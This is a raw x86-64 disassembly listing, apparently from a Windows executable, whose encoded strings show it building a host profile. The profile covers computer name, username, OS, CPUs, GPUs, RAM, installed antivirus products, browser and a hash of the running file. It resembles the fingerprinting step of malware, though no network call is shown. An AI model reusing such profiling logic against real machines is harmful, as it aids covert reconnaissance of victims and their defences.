mov al, byte [0x1400cdcc0]
mov edx, 7
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e68
mov rsi, rax
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov qword [rsp + 0x70], rax
mov rcx, qword [rsp + 0x2f0]
mov rax, rcx
neg rax
jo 0x1400136de
movabs rax, 0x8000000000000001
cmp rcx, rax
jne 0x1400136ea
mov rdx, qword [rsp + 0x2f8]
mov rsi, qword [rsp + 0x300]
mov rdi, qword [rsp + 0x308]
mov rax, r12
jmp 0x140013706
mov edx, 7
mov ebx, 7
jmp 0x14001371e
mov edx, 7
lea rax, [rsp + 0x2f8]
mov edi, 7
mov ebx, 7
test rcx, rcx
je 0x14001371e
mov rbx, rdx
mov r8, qword [rax]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rdx, rdi
mov rcx, rsi
call fcn.140003cc0
test rdx, rdx
js 0x140018fa2
mov rdi, rax
mov r8, rdx
je 0x140013760
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov r15, r8
call fcn.14005b1d0
test rax, rax
je 0x140018f7a
mov qword [rsp + 0x690], r15
mov r8, r15
jmp 0x140013771
mov eax, 1
mov qword [rsp + 0x690], 0
mov qword [rsp + 0x748], rax
mov rcx, rax
mov rdx, rdi
mov qword [rsp + 0x7a0], r8
call fcn.140082480
cmp qword [rsp + 0x68], 0
je 0x1400137ab
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x658]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test rbx, rbx
je 0x1400137c2
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, r14
mov rdx, qword [rsp + 0x768]
mov r8, qword [rsp + 0x760]
call fcn.14001df96
mov al, byte [0x1400cdcc0]
mov edx, 7
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e68
mov r8, rax
mov dword [rax + 3], 0x6e776f6e
mov dword [rax], 0x6e6b6e55
mov rbx, qword [rsp + 0x2f0]
mov eax, 7
mov qword [rsp + 0x260], rax
mov rax, rbx
neg rax
jno 0x140013831
mov qword [rsp + 0x1b8], r8
mov ebx, 7
jmp 0x140013860
mov rsi, qword [rsp + 0x2f8]
mov rax, qword [rsp + 0x300]
mov qword [rsp + 0x260], rax
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov qword [rsp + 0x1b8], rsi
cmp qword [rsp + 0x100], 0
je 0x140013882
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x4e0]
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [0x1400cdcc0]
mov edx, 0x18
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018fb1
mov rsi, rax
mov al, byte [0x1400cdcc0]
mov edx, 0x361
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018fc0
mov rdi, rax
mov qword [rsp + 0x7b8], rbx
mov r8d, 0x361
mov rcx, rax
lea rdx, [0x14008b0be]
call fcn.140082480
mov eax, 0x361
mov qword [rsi], rax
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], rax
mov edi, 1
mov qword [rsp + 0x2f0], rdi
mov qword [rsp + 0x2f8], rsi
mov qword [rsp + 0x300], rdi
lea rcx, [rsp + 0x1d0]
mov rdx, r14
call fcn.14001e443
mov rdx, qword [rsp + 0x1d8]
mov r8, qword [rsp + 0x1e0]
lea rcx, [rsp + 0x2c0]
call fcn.14001f510
mov rcx, qword [rsp + 0x2c8]
mov rdx, qword [rsp + 0x2d0]
call fcn.140003cc0
mov rsi, rdx
mov qword [rsp + 0x20], rdi
lea rbx, [rsp + 0x130]
mov rcx, rbx
mov rdx, rax
mov r8, rsi
lea r9, [0x1400b76e6]
call fcn.140024360
mov qword [rsp + 0x198], 0
mov qword [rsp + 0x1a0], rsi
mov word [rsp + 0x1a8], 1
mov ecx, 0x10
mov rdi, r12
mov rsi, rbx
rep movsq qword [rdi], qword [rsi]
cmp byte [rsp + 0xe9], 0
je 0x1400139bb
mov edi, 8
xor r15d, r15d
xor esi, esi
lea rax, [0x14008b420]
jmp 0x140013ae1
mov rsi, qword [rsp + 0xb8]
mov rcx, r14
mov rdx, r12
call fcn.140005704
test byte [rsp + 0x2f0], 1
je 0x140013a00
mov rdi, qword [rsp + 0x2f8]
mov rax, qword [rsp + 0x300]
mov rcx, qword [rsp + 0xd8]
sub rdi, rcx
add rsi, rcx
mov qword [rsp + 0xd8], rax
jmp 0x140013a52
cmp byte [rsp + 0xe9], 0
jne 0x1400139a5
mov byte [rsp + 0xe9], 1
cmp byte [rsp + 0xe8], 1
jne 0x140013a2e
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe0]
jmp 0x140013a47
mov rsi, qword [rsp + 0xd8]
mov rdi, qword [rsp + 0xe0]
cmp rdi, rsi
je 0x1400139a5
sub rdi, rsi
add rsi, qword [rsp + 0xb8]
mov al, byte [0x1400cdcc0]
mov edx, 0x40
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140019041
mov rbx, rax
mov qword [rax], rsi
mov qword [rax + 8], rdi
mov qword [rsp + 0x220], 4
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x230], 1
mov ecx, 0x10
mov rdi, r14
mov rsi, r12
rep movsq qword [rdi], qword [rsi]
mov esi, 1
cmp byte [rsp + 0x369], 0
je 0x140015248
mov r15, qword [rsp + 0x220]
mov rdi, qword [rsp + 0x228]
test rsi, rsi
mov rax, rdi
lea rcx, [0x14008b420]
cmove rax, rcx
lea r14, [rsp + 0x2f0]
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140003cc0
test rdx, rdx
js 0x140018fcf
mov rbx, rax
mov r8, rdx
je 0x140013b27
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov r13, r8
call fcn.14005b1d0
test rax, rax
je 0x140018eb3
mov qword [rsp + 0x688], r13
mov r8, r13
jmp 0x140013b38
mov eax, 1
mov qword [rsp + 0x688], 0
mov qword [rsp + 0x740], rax
mov rcx, rax
mov rdx, rbx
mov qword [rsp + 0x790], r8
call fcn.140082480
cmp qword [rsp + 0x108], 0
je 0x140013b75
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x640]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rdi + 0x10]
cmp rsi, 2
lea rcx, [0x14008b420]
cmovb rax, rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140003cc0
test rdx, rdx
js 0x140018fde
mov rbx, rax
mov r8, rdx
je 0x140013bce
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov r13, r8
call fcn.14005b1d0
test rax, rax
je 0x140018eb3
mov qword [rsp + 0x680], r13
mov r8, r13
jmp 0x140013bdf
mov eax, 1
mov qword [rsp + 0x680], 0
mov qword [rsp + 0x738], rax
mov rcx, rax
mov rdx, rbx
mov qword [rsp + 0x780], r8
call fcn.140082480
cmp qword [rsp + 0x1c8], 0
je 0x140013c1c
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x638]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rdi + 0x20]
cmp rsi, 3
lea rcx, [0x14008b420]
cmovb rax, rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140003cc0
test rdx, rdx
js 0x140018fed
mov rbx, rax
mov r8, rdx
je 0x140013c75
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov r13, r8
call fcn.14005b1d0
test rax, rax
je 0x140018eb3
mov qword [rsp + 0x678], r13
mov r8, r13
jmp 0x140013c86
mov eax, 1
mov qword [rsp + 0x678], 0
mov qword [rsp + 0x730], rax
mov rcx, rax
mov rdx, rbx
mov qword [rsp + 0x798], r8
call fcn.140082480
cmp qword [rsp + 0x268], 0
je 0x140013cc3
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x650]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rdi + 0x30]
cmp rsi, 4
lea rcx, [0x14008b420]
cmovb rax, rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140003cc0
test rdx, rdx
js 0x140018ffc
mov rbx, rax
mov r8, rdx
je 0x140013d1c
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov r13, r8
call fcn.14005b1d0
test rax, rax
je 0x140018eb3
mov qword [rsp + 0x670], r13
mov r8, r13
jmp 0x140013d2d
mov eax, 1
mov qword [rsp + 0x670], 0
mov qword [rsp + 0x728], rax
mov rcx, rax
mov rdx, rbx
mov qword [rsp + 0x788], r8
call fcn.140082480
cmp qword [rsp + 0x110], 0
je 0x140013d6a
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x648]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rdi + 0x40]
cmp rsi, 5
lea rcx, [0x14008b420]
cmovb rax, rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140003cc0
test rdx, rdx
js 0x14001900b
mov rbx, rax
mov r8, rdx
je 0x140013dc3
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov r13, r8
call fcn.14005b1d0
test rax, rax
je 0x140018eb3
mov qword [rsp + 0x668], r13
mov r8, r13
jmp 0x140013dd4
mov eax, 1
mov qword [rsp + 0x668], 0
mov qword [rsp + 0x720], rax
mov rcx, rax
mov rdx, rbx
mov qword [rsp + 0x778], r8
call fcn.140082480
cmp qword [rsp + 0x4d0], 0
je 0x140013e11
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x630]
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rax, [rdi + 0x50]
cmp rsi, 6
lea rcx, [0x14008b420]
cmovb rax, rcx
mov rcx, qword [rax]
mov rdx, qword [rax + 8]
call fcn.140003cc0
test rdx, rdx
mov ebx, 3
js 0x14001901a
mov rsi, rax
mov r8, rdx
je 0x140013e6f
mov al, byte [0x1400cdcc0]
xor ecx, ecx
mov rdx, r8
mov r13, r8
call fcn.14005b1d0
test rax, rax
je 0x140018eb3
mov qword [rsp + 0x4d0], r13
mov r8, r13
jmp 0x140013e80
mov eax, 1
mov qword [rsp + 0x4d0], 0
mov qword [rsp + 0x718], rax
mov rcx, rax
mov rdx, rsi
mov qword [rsp + 0x770], r8
call fcn.140082480
test rbp, rbp
je 0x140013eb7
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, qword [rsp + 0x628]
call qword [sym.imp.KERNEL32.dll_HeapFree]
test r15, r15
mov rsi, qword [rsp + 0x470]
je 0x140013ed6
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x2c0]
neg rax
jo 0x140013efc
jae 0x140013efc
mov r8, qword [rsp + 0x2c8]
mov rcx, qword [0x1400cdc50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
lea rcx, [rsp + 0x1d0]
call fcn.14000280b
mov rax, qword [rsp + 0x718]
mov qword [rsp + 0x628], rax
mov rax, qword [rsp + 0x720]
mov qword [rsp + 0x630], rax
mov rax, qword [rsp + 0x738]
mov qword [rsp + 0x638], rax
mov rax, qword [rsp + 0x740]
mov qword [rsp + 0x640], rax
mov rax, qword [rsp + 0x728]
mov qword [rsp + 0x648], rax
mov rax, qword [rsp + 0x730]
mov qword [rsp + 0x650], rax
mov rax, qword [rsp + 0x748]
mov qword [rsp + 0x658], rax
mov rax, qword [rsp + 0x750]
mov qword [rsp + 0x660], rax
mov rdi, qword [rsp + 0x258]
xor eax, eax
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x280], rax
mov al, byte [0x1400cdcc0]
mov edx, 6
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018ee4
mov word [rax + 4], 0x3635
mov dword [rax], 0x32616873
mov ecx, 6
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, qword [rsp + 0x1b8]
mov r8, qword [rsp + 0x260]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x140014059
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 2
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e95
mov word [rax], 0x6469
mov ecx, 2
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, rsi
mov r8, qword [rsp + 0x7b0]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x140014103
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 0xd
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018ef3
movabs rcx, 0x656d616e5f726574
mov qword [rax + 5], rcx
movabs rcx, 0x72657475706d6f63
mov qword [rax], rcx
mov ecx, 0xd
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, qword [rsp + 0x660]
mov r8, qword [rsp + 0x7a8]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x1400141c8
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 8
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018ea4
movabs rcx, 0x656d616e72657375
mov qword [rax], rcx
mov ecx, 8
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, qword [rsp + 0x658]
mov r8, qword [rsp + 0x7a0]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x14001427f
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 2
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e95
mov word [rax], 0x736f
mov ecx, 2
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, qword [rsp + 0x650]
mov r8, qword [rsp + 0x798]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x14001432e
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 4
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e77
mov dword [rax], 0x73757063
mov ecx, 4
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, qword [rsp + 0x648]
mov r8, qword [rsp + 0x788]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x1400143de
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 4
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e77
mov dword [rax], 0x73757067
mov ecx, 4
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, qword [rsp + 0x640]
mov r8, qword [rsp + 0x790]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x14001448e
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 5
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018f02
mov byte [rax + 4], 0x73
mov dword [rax], 0x6d617276
mov ecx, 5
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, qword [rsp + 0x638]
mov r8, qword [rsp + 0x780]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x140014542
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 3
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e86
mov byte [rax + 2], 0x6d
mov word [rax], 0x6172
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rbx
mov rcx, r14
mov rdx, qword [rsp + 0x630]
mov r8, qword [rsp + 0x778]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x1400145f0
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 3
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e86
mov byte [rax + 2], 0x73
mov word [rax], 0x7661
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rbx
mov rcx, r14
mov rdx, qword [rsp + 0x628]
mov r8, qword [rsp + 0x770]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x14001469e
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 7
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e68
mov dword [rax + 3], 0x72657377
mov dword [rax], 0x776f7262
mov ecx, 7
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, r14
mov rdx, rdi
mov r8, qword [rsp + 0x620]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x140014750
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 3
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e86
mov byte [rax + 2], 0x67
mov word [rax], 0x6f6c
mov qword [rsp + 0x130], rbx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rbx
mov r8d, 8
mov rcx, r14
lea rdx, [0x14008b513]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r14
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x1400147fb
mov rcx, r14
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 0xe
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018f11
mov qword [rsp + 0x258], rdi
mov qword [rsp + 0x470], rsi
movabs rcx, 0x676e696e6e75725f
mov qword [rax + 6], rcx
movabs rcx, 0x725f363532616873
mov qword [rax], rcx
mov ecx, 0xe
mov qword [rsp + 0x1d0], rcx
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e0], rcx
xor eax, eax
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 8
mov qword [rsp + 0x80], rax
mov rdi, qword [rsp + 0x5f0]
test rdi, rdi
je 0x1400149b9
mov rbx, qword [rsp + 0x5d8]
lea r15, [rbx + 0x10]
movdqa xmm0, xmmword [rbx]
pmovmskb eax, xmm0
not eax
mov ecx, 8
mov qword [rsp + 0x50], rcx
xor esi, esi
test ax, ax
jne 0x1400148cb
movdqa xmm0, xmmword [r15]
pmovmskb eax, xmm0
add rbx, 0xfffffffffffffb00
add r15, 0x10
cmp eax, 0xffff
je 0x1400148ae
not eax
mov r12d, eax
bsf eax, r12d
neg rax
lea rax, [rax + rax*4]
shl rax, 4
cmp byte [rbx + rax - 0x20], 0
je 0x140014997
add rax, rbx
cmp byte [rax - 0x1f], 1
jne 0x140014997
mov rcx, qword [rax - 8]
test rcx, rcx
je 0x140014997
mov r13, qword [rax - 0x10]
shl rcx, 3
lea rbp, [rcx + rcx*8]
xor r14d, r14d
cmp byte [r13 + r14 + 0x40], 0
je 0x14001498a
cmp byte [r13 + r14 + 0x41], 1
jne 0x14001498a
cmp byte [r13 + r14 + 0x42], 1
jne 0x14001498a
mov rdx, qword [r13 + r14 + 8]
mov r8, qword [r13 + r14 + 0x10]
lea rcx, [rsp + 0x2f0]
call fcn.140020a80
cmp rsi, qword [rsp + 0x70]
jne 0x14001495b
lea rcx, [rsp + 0x70]
call fcn.140060404
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x50], rax
lea rax, [rsi + rsi*2]
mov rcx, qword [rsp + 0x300]
mov rdx, qword [rsp + 0x50]
mov qword [rdx + rax*8 + 0x10], rcx
movdqu xmm0, xmmword [rsp + 0x2f0]
movdqu xmmword [rdx + rax*8], xmm0
inc rsi
mov qword [rsp + 0x80], rsi
add r14, 0x48
cmp rbp, r14
jne 0x140014911
lea eax, [r12 - 1]
and eax, r12d
dec rdi
jne 0x1400148a9
mov r14, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
lea r12, [rsp + 0x70]
jmp 0x1400149c3
mov edi, 8
xor esi, esi
xor r14d, r14d
mov qword [rsp + 0x20], 2
lea rcx, [rsp + 0x130]
mov rdx, rdi
mov r8, rsi
lea r9, [0x1400b15c1]
call fcn.1400641b8
mov rbx, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
lea r15, [rsp + 0x2f0]
mov rcx, r15
mov rdx, rbx
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, r15
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x1d0]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x140014a68
lea rcx, [rsp + 0x2f0]
call fcn.140002e76
cmp qword [rsp + 0x130], 0
je 0x140014a85
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, rdi
mov rdx, rsi
call fcn.14005f591
test r14, r14
je 0x140014aa7
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rdi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [0x1400cdcc0]
mov edx, 0xa
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
lea rdi, [rsp + 0x2f0]
mov ebx, 0
je 0x140018f20
movabs rcx, 0x776f6c6c61736964
mov qword [rax], rcx
mov word [rax + 8], 0x6465
mov ecx, 0xa
mov qword [rsp + 0x1d0], rcx
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e0], rcx
lea rcx, [rsp + 0x130]
mov rdx, qword [rsp + 0x6a8]
mov r8, qword [rsp + 0x5d0]
call fcn.140020a80
mov rsi, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
mov rcx, rdi
mov rdx, rsi
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rdi
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x1d0]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x140014b91
mov rcx, rdi
call fcn.140002e76
cmp qword [rsp + 0x130], 0
je 0x140014bae
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov al, byte [0x1400cdcc0]
mov edx, 8
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018ea4
movabs rcx, 0x656372756f736572
mov qword [rax], rcx
mov ecx, 8
mov qword [rsp + 0x130], rcx
mov qword [rsp + 0x138], rax
mov qword [rsp + 0x140], rcx
mov rcx, rdi
mov rdx, qword [rsp + 0x808]
mov r8, qword [rsp + 0x800]
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movdqu xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movdqa xmmword [rsp + 0x70], xmm0
mov rcx, rdi
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x130]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x140014c65
mov rcx, rdi
call fcn.140002e76
mov al, byte [0x1400cdcc0]
mov edx, 4
xor ecx, ecx
call fcn.14005b1d0
test rax, rax
je 0x140018e77
mov dword [rax], 0x68746170
mov ecx, 4
mov qword [rsp + 0x1d0], rcx
mov qword [rsp + 0x1d8], rax
mov qword [rsp + 0x1e0], rcx
lea rcx, [rsp + 0x130]
mov rdx, qword [rsp + 0x768]
mov r8, qword [rsp + 0x760]
call fcn.140020a80
mov rsi, qword [rsp + 0x138]
mov r8, qword [rsp + 0x140]
mov rcx, rdi
mov rdx, rsi
call fcn.140001ad2
cmp byte [rsp + 0x2f0], 6
je 0x140018e08
movups xmm0, xmmword [rsp + 0x2f0]
movups xmm1, xmmword [rsp + 0x300]
movaps xmmword [rsp + 0x80], xmm1
movaps xmmword [rsp + 0x70], xmm0
mov rcx, rdi
lea rdx, [rsp + 0x270]
lea r8, [rsp + 0x1d0]
mov r9, r12
call fcn.14003c767
cmp byte [rsp + 0x2f0], 6
je 0x140014d33
mov rcx, rdi
call fcn.140002e76
cmp qword [rsp + 0x130], 0
je 0x140014d50
mov rcx, qword [0x1400cdc50]
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x280]
